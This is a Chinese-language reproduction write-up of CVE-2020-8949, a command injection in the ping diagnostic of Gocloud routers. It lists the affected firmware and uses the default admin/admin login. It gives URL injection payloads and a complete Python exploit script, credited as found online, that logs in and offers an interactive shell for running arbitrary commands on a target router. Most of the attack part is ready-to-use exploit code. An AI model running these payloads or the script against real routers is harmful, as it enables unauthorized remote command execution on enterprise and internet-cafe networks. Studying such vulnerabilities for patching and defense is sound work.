# CVE-2020-8949 Gocloud 高恪固件 RCE

# 漏洞简介

Gocloud 路由器,后台 ping 命令存在命令注入,该路由器常用于企业或者网吧

# 影响版本

  • GOCLOUD S2A_WL - 固件版本 4.2.7.16471
  • GOCLOUD S2A - 固件版本 4.2.7.17278
  • GOCLOUD S2A - 固件版本 4.3.0.15815
  • GOCLOUD S2A - 固件版本 4.3.0.17193
  • GOCLOUD S3A(K2P MTK 版本)- 固件版本 4.2.7.16528
  • GOCLOUD S3A - 固件版本 4.3.0.16572
  • GOCLOUD ISP3000 英特尔 ® 至强 ®E5-2660 - 固件版本 4.3.0.17190

# 漏洞复现

使用弱口令登录:admin/admin

image-20210315145754583

命令注入存在的地方

image-20210315150106355

bp 抓包可查看请求过程

image-20210315150344123

注入 payload

1
2
3
/cgi-bin/webui/admin/tools/app_ping/diag_ping/;ifconfig%202%3E&1;/5/6/a.com_

/cgi-bin/webui/admin/tools/app_ping/diag_ping/;ifconfig 2>&1;/5/6/a.com_

执行的是 ifconfig 命令

image-20210315151132321

附上 exp 脚本(来源网络):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding:utf-8 -*-

import requests
import time
from urllib.parse import quote


# 执行命令EXP
def execute_command(command, TARGET):
try:
url = TARGET + "/cgi-bin/webui"
timestamp = str(time.time()).split(".")[0]
# 创建session
request1 = requests.session()
login = {"csrftoken": "MTU5MzQ5NjI5MEdPQ0xPVUQ=",
"password": "admin",
"timestamp": "1593496290",
"username": "admin"}
# 发送登录数据
r = request1.post(url, data=login, verify=False, timeout=10)
print(r.status_code)
url2 = TARGET + quote("/cgi-bin/webui/admin/tools/app_ping/diag_ping/ ;" + command + " 2>&1; /5/6/a.com_")
r2 = request1.post(url2, verify=False, timeout=10)
print(r2.url)
print(r2.text)
except Exception as e:
print(e)


if __name__ == '__main__':
command = 'id'
url = input("Url >>> ")
while True:
execute_command(command,url)
command = input("~$: ")

image-20210315153148506